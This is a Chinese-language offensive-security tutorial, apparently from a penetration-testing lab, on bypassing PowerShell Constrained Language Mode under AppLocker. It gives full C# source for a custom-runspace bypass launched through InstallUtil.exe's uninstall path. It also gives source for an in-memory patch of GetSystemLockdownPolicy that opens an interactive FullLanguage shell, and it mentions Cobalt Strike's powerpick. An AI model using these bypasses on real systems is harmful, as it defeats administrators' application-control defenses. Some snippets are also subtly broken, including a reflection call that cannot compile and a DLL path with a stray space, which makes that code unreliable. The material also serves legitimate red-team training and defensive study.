约束语言模式
背景
约束语言模式,即 CLM,是 AppLocker 中的一种,如果我们对脚本类型文件启用了 AppLocker 规则,那么在运行 PowerShell 的时候便是约束语言模式。当 CLM 被启用的话,一些脚本语言例如 Powershell 的使用会被限制,只有白名单里的脚本才不会被影响。CLM 带来最直接的影响就是限制了对 .NET 框架的调用、执行 C# 代码以及反射。我们可以通过如下 Powershell 命令检查 PowerShell 语言的状态:
$ExecutionContext.SessionState.LanguageMode
在 File01 上,非提升特权的 PowerShell 会话下,CLM 是启用的。
CLM 大幅度限制了 PowerShell 命令的使用,如果我们想导入或者执行我们常用的脚本工具,例如 adpeas.ps1,那么我们会看到如下的报错。
对于 CLM 的绕过,我们依旧可以借助于默认规则或者脆弱配置的自定义规则下的白名单文件夹,从而执行白名单文件夹中的脚本,但是我们依旧不能导入模块。如图所示,我们可以在白名单文件夹 C:\Windows\Tasks 下运行端口扫描的脚本工具
但导入脚本模块是不可以的。
接下来,我们来探讨 PowerShell CLM 的绕过。
自定义Runspaces运行空间
PowerShell 的功能实际上位于 System.Management.Automation.dll 这个托管 DLL 文件之中,而 powershell.exe 只是个用于处理输入输出的 GUI 程序。因此,我们可以通过编程手段实现自定义的 powershell 运行空间。
创建一个 C# 项目,添加 C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e3 5\System.Management.Automation.dll 引用,以及 System.Configuration.Install 。
创建自定义 PowerShell 运行空间并执行命令的代码如下
using System;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using System.Configuration.Install;
namespace clm
{
class Program
{
static void Main(string[] args)
{
Console.WriteLine("Not in Main");
}
}
[System.ComponentModel.RunInstaller(true)]
public class Sample : System.Configuration.Install.Installer
{
public override void Uninstall(System.Collections.IDictionary savedState)
{
String cmd = "$ExecutionContext.SessionState.LanguageMode | Out-File -FilePath C:\\windows\\tasks\\output.txt";
Runspace rs = RunspaceFactory.CreateRunspace();
rs.Open();
PowerShell ps = PowerShell.Create();
ps.Runspace = rs;
ps.AddScript(cmd);
ps.Invoke();
rs.Close();
}
}
}
这里我们要重载了 Uninstall 方法,为什么不是在 Main 函数里执行代码,或者重载 Install 方法呢?至于不在 Main 函数里执行,虽然这样我们突破了 CLM,但生成的 exe 本身可能也会被 AppLocker 所阻止运行。
而 Install 需要管理员特权。为了能让 Uninstall 方法里的代码得以运行,我们需要利用 LOLBAS 中的 InstallUtil.exe 去运行该 exe。最终命令如下:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /logfile= /LogToConsole=false /U C:\users\public\clm.exe
我们不能够给该代码提供参数,所以我们在包含命令的字符串里预定义好要执行的 powershell 脚本块。因为该过程不产生输出,我们借助文本来存储输出。
补丁 GetSystemLockdownPolicy
虽然可以通过自定义运行空间以 FullLanguage 模式执行脚本块,但并不能提供交互式的会话。通过补丁 GetSystemLockdownPolicy 可以生成交互式的 FullLanguage 模式的 PowerShell 会话。
该过程如下:
1:通过反射式加载,获得定义了 System.Management.Automation.Alignment 类型的组件,其中 System.Management.Automation 组件中是 PowerShell 的根命名空间,而 Alignment 是定义在该命名空间的类型。
然后获得 GetSystemLockdownPolicy 方法的 SystemPolicyMethodInfo 类对象。该方法用于获取当前系统的 lockdown 策略。接着,获得该方法的句柄。
Assembly assem = typeof(System.Management.Automation.Alignment).Assembly;
MethodInfo lockdown_info = typeof(System.Management.Automation.Alignment).Assembly.assem.GetType("System.Management.Automation.Security.SystemPolicy").GetMethod("GetSystemLockdownPolicy", System.Reflection.BindingFlags.Public | System.Reflection.BindingFlags.Static);
RuntimeMethodHandle lockdown_handle = lockdown_info.MethodHandle;
2:在执行前,确保静态方法 GetSystemLockdownPolicy 被 JIT 引擎所编译。
RuntimeHelpers.PrepareMethod(lockdown_handle);
3:获得该函数编译后的机器码的指针
IntPtr lockdown_ptr = lockdown_handle.GetFunctionPointer();
4:使用 VirtualProtect API 确保该函数的代码是可写的
uint oldprot;
VirtualProtect(lockdown_ptr, new UIntPtr(4), 0x40, out oldprot);
5:补丁函数使其返回值为 0,即 SystemEnforcementMode.None。字节数组里是指令 xor rax, rax; ret 的操作码。
var patch = new byte[] { 0x48, 0x31, 0xc0, 0xc3 };
Marshal.Copy(patch, 0, lockdown_ptr, 4);
6:使用 Microsoft,PowerShell.ConsoleShell 模块在当前进程中加载交互式的 PowerShell 会话
Microsoft.PowerShell.ConsoleShell.Start(System.Management.Automation.Runspaces.RunspaceConfiguration.Create(), "Banner", "Help", new string[] {"-exec", "bypass", "-nop"});
额外添加对文件 C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll 的引用。
最终代码如下:
using System;
using System.Runtime.InteropServices;
using System.Runtime.CompilerServices;
using System.Reflection;
public class MainClass
{
[DllImport("kernel32.dll", SetLastError = true)]
private static extern IntPtr GetStdHandle(int nStdHandle);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
public static void Main(string[] args)
{
Console.WriteLine("Not in Main");
}
public static void interactive()
{
Assembly assem = typeof(System.Management.Automation.Alignment).Assembly;
MethodInfo lockdown_info = typeof(System.Management.Automation.Alignment).Assembly.assem.GetType("System.Management.Automation.Security.SystemPolicy").GetMethod("GetSystemLockdownPolicy", System.Reflection.BindingFlags.Public | System.Reflection.BindingFlags.Static);
RuntimeMethodHandle lockdown_handle = lockdown_info.MethodHandle;
RuntimeHelpers.PrepareMethod(lockdown_handle);
IntPtr lockdown_ptr = lockdown_handle.GetFunctionPointer();
uint oldprot;
VirtualProtect(lockdown_ptr, new UIntPtr(4), 0x40, out oldprot);
byte [] patch = new byte[] { 0x48, 0x31, 0xc0, 0xc3 };
Marshal.Copy(patch, 0, lockdown_ptr, 4);
Microsoft.PowerShell.ConsoleShell.Start(System.Management.Automation.Runspaces.RunspaceConfiguration.Create(), "Banner", "Help", new string[] {"-exec", "bypass", "-nop"});
}
}
[System.ComponentModel.RunInstaller(true)]
public class Loader : System.Configuration.Install.Installer
{
public override void Uninstall(System.Collections.IDictionary savedState)
{
base.Uninstall(savedState);
MainClass.interactive();
}
}
这样,我们最终获得了 FullLanguage 模式的交互式 PowerShell 会话。
在 CobaltStrike 中绕过 CLM
在 CobaltStrike 中绕过 CLM 十分直接,powerpick 命令是通过非托管 PowerShell 实现的,即不使用 powershell.exe 或者 powershell_ise.exe,不受限制。